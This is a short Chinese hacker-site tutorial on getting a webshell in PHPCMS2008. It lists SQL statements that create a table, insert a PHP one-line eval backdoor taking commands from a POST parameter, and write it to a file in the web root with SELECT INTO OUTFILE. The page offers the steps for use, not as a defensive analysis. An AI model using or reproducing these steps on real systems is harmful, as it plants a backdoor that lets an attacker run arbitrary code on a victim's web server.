|
 |
您现在的位置: 红色黑客联盟 >> 教程 >> 黑客技术 >> 脚本攻防 >> 正文 |
| HOW TO GET PHPCMS2008 WEBSHELL |
|
|
|
| 文章录入:7747.Net 责任编辑:7747.Net |
|
|
【字体:小 大】 |
|
http://www.pcsec.org/archives/how-to-get-phpcms2008-webshell.html
Posted by 小拳头
进去后
SQL代码 Create TABLE b (cmd text NOT NULL); SQL代码 Insert INTO b (cmd) VALUES(‘<?php @eval($_POST[cmd]);?>’); //在字段cmd中插入一句话木马,木马内容为
PHP代码 <?php @eval($_POST[cmd]);?> 前3句都尅执行成功最后一句执行后显示空白
SQL代码 select cmd from b into outfile ‘E:\wwwroot\phpcms\phpcms\shell.php’;
|
| |
| 您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力 |
|
|
| |
上一篇文章: Z-Blog URL转发漏洞的修复方法
下一篇文章: 没有了 |
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |